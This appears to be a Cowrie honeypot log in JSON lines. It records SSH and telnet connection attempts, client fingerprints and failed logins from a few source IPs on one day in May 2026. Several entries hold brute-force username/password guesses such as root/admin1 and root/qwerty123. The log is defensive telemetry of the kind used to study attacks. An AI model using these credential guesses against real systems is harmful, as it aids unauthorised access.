{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":57024,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc99ab6054ee","protocol":"telnet","message":"New connection: 20.123.41.163:57024 (10.17.0.5:23) [session: cc99ab6054ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:12.858537Z"}
{"eventid":"cowrie.session.closed","duration":3.198090076446533,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:16.056532Z","src_ip":"20.123.41.163","session":"cc99ab6054ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55346,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf9fd0b8d1e2","protocol":"ssh","message":"New connection: 45.156.87.254:55346 (159.203.135.109:22) [session: bf9fd0b8d1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:16.441257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:16.446061Z","src_ip":"45.156.87.254","session":"bf9fd0b8d1e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:16.528910Z","src_ip":"45.156.87.254","session":"bf9fd0b8d1e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:16.790943Z","src_ip":"45.156.87.254","session":"bf9fd0b8d1e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":37862,"dst_ip":"10.17.0.5","dst_port":23,"session":"a338e9aa1598","protocol":"telnet","message":"New connection: 185.145.252.179:37862 (10.17.0.5:23) [session: a338e9aa1598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:17.395290Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:17.879041Z","src_ip":"45.156.87.254","session":"bf9fd0b8d1e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38096,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d8ed1d5dbf5","protocol":"ssh","message":"New connection: 45.156.87.254:38096 (159.203.135.109:22) [session: 0d8ed1d5dbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:21.825703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:21.832914Z","src_ip":"45.156.87.254","session":"0d8ed1d5dbf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:21.926780Z","src_ip":"45.156.87.254","session":"0d8ed1d5dbf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:22.182167Z","src_ip":"45.156.87.254","session":"0d8ed1d5dbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:23.282866Z","src_ip":"45.156.87.254","session":"0d8ed1d5dbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.19090390205383,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:25.715945Z","src_ip":"20.123.41.163","session":"dec7ed2f4436","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38104,"dst_ip":"159.203.135.109","dst_port":22,"session":"638dc2d1f952","protocol":"ssh","message":"New connection: 45.156.87.254:38104 (159.203.135.109:22) [session: 638dc2d1f952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:27.167413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:27.171595Z","src_ip":"45.156.87.254","session":"638dc2d1f952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:27.269620Z","src_ip":"45.156.87.254","session":"638dc2d1f952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:27.551514Z","src_ip":"45.156.87.254","session":"638dc2d1f952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:28.743856Z","src_ip":"45.156.87.254","session":"638dc2d1f952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":55328,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0a5886b91c3","protocol":"telnet","message":"New connection: 20.123.41.163:55328 (10.17.0.5:23) [session: a0a5886b91c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:32.228596Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41572,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9a313f7023d","protocol":"ssh","message":"New connection: 45.156.87.254:41572 (159.203.135.109:22) [session: b9a313f7023d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:32.431591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:32.436370Z","src_ip":"45.156.87.254","session":"b9a313f7023d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:32.521376Z","src_ip":"45.156.87.254","session":"b9a313f7023d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:32.775341Z","src_ip":"45.156.87.254","session":"b9a313f7023d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:33.860613Z","src_ip":"45.156.87.254","session":"b9a313f7023d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.36606526374817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:36.861929Z","src_ip":"104.245.105.2","session":"cfae41a6229e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41586,"dst_ip":"159.203.135.109","dst_port":22,"session":"a83b7bc97dcc","protocol":"ssh","message":"New connection: 45.156.87.254:41586 (159.203.135.109:22) [session: a83b7bc97dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:37.657678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:37.662723Z","src_ip":"45.156.87.254","session":"a83b7bc97dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:37.745203Z","src_ip":"45.156.87.254","session":"a83b7bc97dcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:37.997751Z","src_ip":"45.156.87.254","session":"a83b7bc97dcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.644561052322388,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:38.873032Z","src_ip":"20.123.41.163","session":"a0a5886b91c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:39.082681Z","src_ip":"45.156.87.254","session":"a83b7bc97dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":55340,"dst_ip":"10.17.0.5","dst_port":23,"session":"2708691e9be9","protocol":"telnet","message":"New connection: 20.123.41.163:55340 (10.17.0.5:23) [session: 2708691e9be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:41.792494Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34492,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eb2f442467c","protocol":"ssh","message":"New connection: 45.156.87.254:34492 (159.203.135.109:22) [session: 3eb2f442467c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:42.699094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:42.707749Z","src_ip":"45.156.87.254","session":"3eb2f442467c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:42.795825Z","src_ip":"45.156.87.254","session":"3eb2f442467c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20793890953064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:43.016276Z","src_ip":"185.145.252.179","session":"41ad0b8393ed","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:43.356586Z","src_ip":"45.156.87.254","session":"3eb2f442467c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:44.443618Z","src_ip":"45.156.87.254","session":"3eb2f442467c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.1716878414154053,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:44.964073Z","src_ip":"20.123.41.163","session":"2708691e9be9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34496,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bf3d5aae317","protocol":"ssh","message":"New connection: 45.156.87.254:34496 (159.203.135.109:22) [session: 3bf3d5aae317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:47.716777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:47.791286Z","src_ip":"45.156.87.254","session":"3bf3d5aae317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:47.826343Z","src_ip":"45.156.87.254","session":"3bf3d5aae317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:48.143410Z","src_ip":"45.156.87.254","session":"3bf3d5aae317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.161095142364502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:48.556285Z","src_ip":"185.145.252.179","session":"a338e9aa1598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:49.229052Z","src_ip":"45.156.87.254","session":"3bf3d5aae317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40600,"dst_ip":"159.203.135.109","dst_port":22,"session":"59b695095d80","protocol":"ssh","message":"New connection: 45.156.87.254:40600 (159.203.135.109:22) [session: 59b695095d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:52.891943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:52.922997Z","src_ip":"45.156.87.254","session":"59b695095d80","protocol":"ssh"}
